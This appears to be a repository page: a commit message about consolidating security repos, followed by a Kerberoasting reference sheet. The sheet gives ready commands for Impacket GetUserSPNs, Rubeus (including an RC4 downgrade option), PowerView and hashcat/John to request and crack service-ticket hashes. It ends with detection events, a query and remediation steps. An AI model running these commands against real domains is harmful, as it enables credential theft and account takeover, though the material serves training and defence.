Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

2.2 KiB

API Reference: Kerberoasting with Impacket

MITRE ATT&CK T1558.003 — Kerberoasting

Attack Flow

  1. Authenticate to AD with domain user credentials
  2. Query LDAP for accounts with SPNs
  3. Request TGS tickets for those SPNs
  4. Extract ticket hashes
  5. Crack offline with wordlist

Impacket — GetUserSPNs.py

Enumerate SPN Accounts

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1

Request TGS Tickets

GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1 \
    -request -outputfile kerberoast.txt

With NTLM Hash

GetUserSPNs.py domain.local/user -hashes :NTLM_HASH -dc-ip 10.10.10.1 -request

Output Format (Hashcat mode 13100)

$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$...$<hash>

Rubeus — Windows Kerberoasting

Kerberoast All SPNs

Rubeus.exe kerberoast /outfile:hashes.txt

Target Specific User

Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt

RC4 Only (weaker, easier to crack)

Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

Hash Cracking

Hashcat

# Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 hashes.txt wordlist.txt

# Kerberos 5 TGS-REP etype 17 (AES-128)
hashcat -m 19600 hashes.txt wordlist.txt

# Kerberos 5 TGS-REP etype 18 (AES-256)
hashcat -m 19700 hashes.txt wordlist.txt

John the Ripper

john --wordlist=wordlist.txt hashes.txt

PowerShell Enumeration

Find SPN Accounts

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
    -Properties ServicePrincipalName, PasswordLastSet

Request TGS (PowerView)

Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash

Detection

Event IDs

Event Description
4769 Kerberos Service Ticket Request
4770 Service Ticket Renewed

Detection Query

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4
| where ServiceName !endswith "$"
| summarize count() by Account, ServiceName

Remediation

  1. Use Group Managed Service Accounts (gMSA)
  2. Set strong passwords (25+ characters) on SPN accounts
  3. Enable AES encryption for Kerberos (disable RC4)
  4. Monitor Event 4769 for anomalous TGS requests